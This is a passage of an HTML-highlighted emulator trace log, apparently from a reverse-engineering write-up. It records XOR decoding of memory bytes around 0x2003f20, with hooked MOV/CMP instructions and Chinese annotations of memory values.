← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x100094a]</span> MEM<span class="selector-attr">[0x2003f25]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f25 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x100094a]</span> MEM<span class="selector-attr">[0x2003f26]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f26 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x100094a]</span> MEM<span class="selector-attr">[0x2003f27]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f27 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x100094a]</span> MEM<span class="selector-attr">[0x2003f28]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f28 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x100094a]</span> MEM<span class="selector-attr">[0x2003f29]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f29 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x100094a]</span> MEM<span class="selector-attr">[0x2003f2a]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2a ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x100094a]</span> MEM<span class="selector-attr">[0x2003f2b]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2b ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x100094a]</span> MEM<span class="selector-attr">[0x2003f2c]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2c ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x100094a]</span> MEM<span class="selector-attr">[0x2003f2d]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2d ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x100094a]</span> MEM<span class="selector-attr">[0x2003f2e]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2e ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[STATE]</span> ESI ← <span class="number">0</span>x0A</span><br><span class="line"><span class="selector-attr">[HOOK MOV]</span> @<span class="number">0</span>x0100081b: mov esi, <span class="number">0</span>x3</span><br><span class="line"><span class="selector-attr">[HOOK MOV]</span> @<span class="number">0</span>x01000820: mov esi, <span class="number">0</span>x2f</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f20 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[HOOK CMP]</span> @<span class="number">0</span>x01000836: cmp esi, <span class="number">0</span>x7</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f21 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f22 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f23 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[STATE]</span> ESI ← <span class="number">0</span>x1C</span><br><span class="line"><span class="selector-attr">[HOOK MOV]</span> @<span class="number">0</span>x01001257: mov esi, <span class="number">0</span>x18</span><br><span class="line"><span class="selector-attr">[XOR @0x100126b]</span> MEM<span class="selector-attr">[0x2003f20]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f20 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[HOOK CMP]</span> @<span class="number">0</span>x01001271: cmp esi, <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x100126b]</span> MEM<span class="selector-attr">[0x2003f21]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f21 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x100126b]</span> MEM<span class="selector-attr">[0x2003f22]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f22 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x100126b]</span> MEM<span class="selector-attr">[0x2003f23]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f23 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x100126b]</span> MEM<span class="selector-attr">[0x2003f24]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f24 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x100126b]</span> MEM<span class="selector-attr">[0x2003f25]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f25 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x100126b]</span> MEM<span class="selector-attr">[0x2003f26]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f26 ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x100126b]</span> MEM<span class="selector-attr">[0x2003f27]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f27 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x100126b]</span> MEM<span class="selector-attr">[0x2003f28]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f28 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x100126b]</span> MEM<span class="selector-attr">[0x2003f29]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f29 ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x100126b]</span> MEM<span class="selector-attr">[0x2003f2a]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2a ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x100126b]</span> MEM<span class="selector-attr">[0x2003f2b]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2b ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x100126b]</span> MEM<span class="selector-attr">[0x2003f2c]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2c ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x100126b]</span> MEM<span class="selector-attr">[0x2003f2d]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2d ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x100126b]</span> MEM<span class="selector-attr">[0x2003f2e]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2e ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x100126b]</span> MEM<span class="selector-attr">[0x2003f2f]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2f ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x100126b]</span> MEM<span class="selector-attr">[0x2003f30]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f30 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x100126b]</span> MEM<span class="selector-attr">[0x2003f31]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f31 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x100126b]</span> MEM<span class="selector-attr">[0x2003f32]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f32 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x100126b]</span> MEM<span class="selector-attr">[0x2003f33]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f33 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x100126b]</span> MEM<span class="selector-attr">[0x2003f34]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f34 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x100126b]</span> MEM<span class="selector-attr">[0x2003f35]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f35 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x100126b]</span> MEM<span class="selector-attr">[0x2003f36]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f36 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x100126b]</span> MEM<span class="selector-attr">[0x2003f37]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f37 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x100126b]</span> MEM<span class="selector-attr">[0x2003f38]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f38 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[STATE]</span> ESI ← <span class="number">0</span>x1B</span><br><span class="line"><span class="selector-attr">[HOOK MOV]</span> @<span class="number">0</span>x010008d8: mov esi, <span class="number">0</span>x8</span><br><span class="line"><span class="selector-attr">[XOR @0x10008ec]</span> MEM<span class="selector-attr">[0x2003f20]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f20 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[HOOK CMP]</span> @<span class="number">0</span>x010008f2: cmp esi, <span class="number">0</span>x11</span><br><span class="line"><span class="selector-attr">[XOR @0x10008ec]</span> MEM<span class="selector-attr">[0x2003f21]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f21 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x10008ec]</span> MEM<span class="selector-attr">[0x2003f22]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f22 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x10008ec]</span> MEM<span class="selector-attr">[0x2003f23]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f23 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x10008ec]</span> MEM<span class="selector-attr">[0x2003f24]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f24 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x10008ec]</span> MEM<span class="selector-attr">[0x2003f25]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f25 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x10008ec]</span> MEM<span class="selector-attr">[0x2003f26]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f26 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x10008ec]</span> MEM<span class="selector-attr">[0x2003f27]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f27 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x10008ec]</span> MEM<span class="selector-attr">[0x2003f28]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f28 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[STATE]</span> ESI ← <span class="number">0</span>x2F</span><br><span class="line"><span class="selector-attr">[HOOK MOV]</span> @<span class="number">0</span>x01000ca7: mov esi, <span class="number">0</span>x8</span><br><span class="line"><span class="selector-attr">[XOR @0x1000cbb]</span> MEM<span class="selector-attr">[0x2003f20]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f20 ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[HOOK CMP]</span> @<span class="number">0</span>x01000cc1: cmp esi, <span class="number">0</span>x11</span><br><span class="line"><span class="selector-attr">[XOR @0x1000cbb]</span> MEM<span class="selector-attr">[0x2003f21]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f21 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x1000cbb]</span> MEM<span class="selector-attr">[0x2003f22]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f22 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x1000cbb]</span> MEM<span class="selector-attr">[0x2003f23]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f23 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x1000cbb]</span> MEM<span class="selector-attr">[0x2003f24]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f24 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x1000cbb]</span> MEM<span class="selector-attr">[0x2003f25]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f25 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x1000cbb]</span> MEM<span class="selector-attr">[0x2003f26]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f26 ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x1000cbb]</span> MEM<span class="selector-attr">[0x2003f27]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f27 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x1000cbb]</span> MEM<span class="selector-attr">[0x2003f28]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f28 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[STATE]</span> ESI ← <span class="number">0</span>x5C</span><br><span class="line"><span class="selector-attr">[HOOK MOV]</span> @<span class="number">0</span>x01001228: mov esi, <span class="number">0</span>x29</span><br><span class="line"><span class="selector-attr">[XOR @0x100123c]</span> MEM<span class="selector-attr">[0x2003f20]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f20 ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[HOOK CMP]</span> @<span class="number">0</span>x01001242: cmp esi, <span class="number">0</span>x53</span><br><span class="line"><span class="selector-attr">[XOR @0x100123c]</span> MEM<span class="selector-attr">[0x2003f21]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f21 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x100123c]</span> MEM<span class="selector-attr">[0x2003f22]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f22 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x100123c]</span> MEM<span class="selector-attr">[0x2003f23]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f23 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x100123c]</span> MEM<span class="selector-attr">[0x2003f24]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f24 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x100123c]</span> MEM<span class="selector-attr">[0x2003f25]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f25 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x100123c]</span> MEM<span class="selector-attr">[0x2003f26]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f26 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x100123c]</span> MEM<span class="selector-attr">[0x2003f27]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f27 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x100123c]</span> MEM<span class="selector-attr">[0x2003f28]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f28 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x100123c]</span> MEM<span class="selector-attr">[0x2003f29]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f29 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x100123c]</span> MEM<span class="selector-attr">[0x2003f2a]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2a ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x100123c]</span> MEM<span class="selector-attr">[0x2003f2b]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2b ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x100123c]</span> MEM<span class="selector-attr">[0x2003f2c]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2c ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x100123c]</span> MEM<span class="selector-attr">[0x2003f2d]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2d ← <span class="number">0</span>x01</span><br><span 